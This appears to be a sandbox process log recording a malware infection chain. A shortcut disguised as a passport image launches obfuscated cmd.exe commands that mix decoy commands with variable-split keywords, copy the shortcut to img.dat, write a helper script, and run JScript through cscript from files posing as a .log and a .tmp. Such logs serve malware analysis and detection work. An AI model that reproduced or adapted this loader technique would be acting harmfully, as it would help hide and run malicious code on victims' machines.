cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "xXqvbTYfJzOcV" C:\Users\test22\AppData\Local\Temp\DoublesidePassport.jpg.lnk
2444cmd.exe "C:\Windows\System32\cmd.exe" /c chgport & echo hello & set Oa=C:\Users\test22\AppData\Local\Temp\test.c& cmd /c " set Ux=%cd%& echo dEL "%0" ^& mS> "%Oa%mD"& set jeC=vE /y & set tEX=C:\Users\test22\AppData\Local\Temp\temp*& echo stop & set /p Yf= <"%Oa%md"&netstat -x & echo | set /p l="%Yf%hTa "%2.%1""> "%Oa%Md"& set eym=mO& echo continue & C:\Windows\system32\cmd.exe /C "(if not exist "Doub*.*k " (for /d %j in ("%tEX%") do echo break ^& for %h in ("%j\Doub*.*k") do cd "%j") else (hostname)) ^& chcp /? ^& cmd /c " echo do exit ^& %eym%%jeC% "Doub*.*k " "C:\Users\test22\img.dat" ^& echo test5 ^& cd %Ux% ^& %Oa%mD dat C:\Users\test22\img ^&"""
2584cmd.exe cmd /c " set Ux=C:\Users\test22\AppData\Local\Temp& echo dEL "%0" ^& mS> "%Oa%mD"& set jeC=vE /y & set tEX=C:\Users\test22\AppData\Local\Temp\temp*& echo stop & set /p Yf= <"%Oa%md"&netstat -x & echo | set /p l="%Yf%hTa "%2.%1""> "%Oa%Md"& set eym=mO& echo continue & C:\Windows\system32\cmd.exe /C "(if not exist "Doub*.*k " (for /d %j in ("%tEX%") do echo break & for %h in ("%j\Doub*.*k") do cd "%j") else (hostname)) & chcp /? & cmd /c " echo do exit ^& %eym%%jeC% "Doub*.*k " "C:\Users\test22\img.dat" ^& echo test5 ^& cd %Ux% ^& %Oa%mD dat C:\Users\test22\img ^&"""
2668NETSTAT.EXE netstat -x
2732cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo "
2776cmd.exe C:\Windows\system32\cmd.exe /S /D /c" set /p l="%Yf%hTa "%2.%1"" 1>"C:\Users\test22\AppData\Local\Temp\test.cMd""
2812cmd.exe C:\Windows\system32\cmd.exe /C "(if not exist "Doub*.*k " (for /d %j in ("%tEX%") do echo break & for %h in ("%j\Doub*.*k") do cd "%j") else (hostname)) & chcp /? & cmd /c " echo do exit & %eym%%jeC% "Doub*.*k " "C:\Users\test22\img.dat" & echo test5 & cd %Ux% & C:\Users\test22\AppData\Local\Temp\test.cmD dat C:\Users\test22\img &""
2864HOSTNAME.EXE hostname
2908chcp.com chcp /?
2956cmd.exe cmd /c " echo do exit & mOvE /y "Doub*.*k " "C:\Users\test22\img.dat" & echo test5 & cd C:\Users\test22\AppData\Local\Temp & C:\Users\test22\AppData\Local\Temp\test.cmD dat C:\Users\test22\img &"
3000cscript.exe "C:\Windows\System32\cscript.exe" "/E:jScript" "C:\Users\test22\AppData\Local\Temp\aria-debug-5070.log"
2052cscript.exe "C:\Windows\System32\cscript.exe" "//E:JScript" "C:\Users\test22\AppData\Roaming\Microsoft\VsGraphics\VisualStudio Graphics\Pictures\wctNVCHIP.tmp"
2612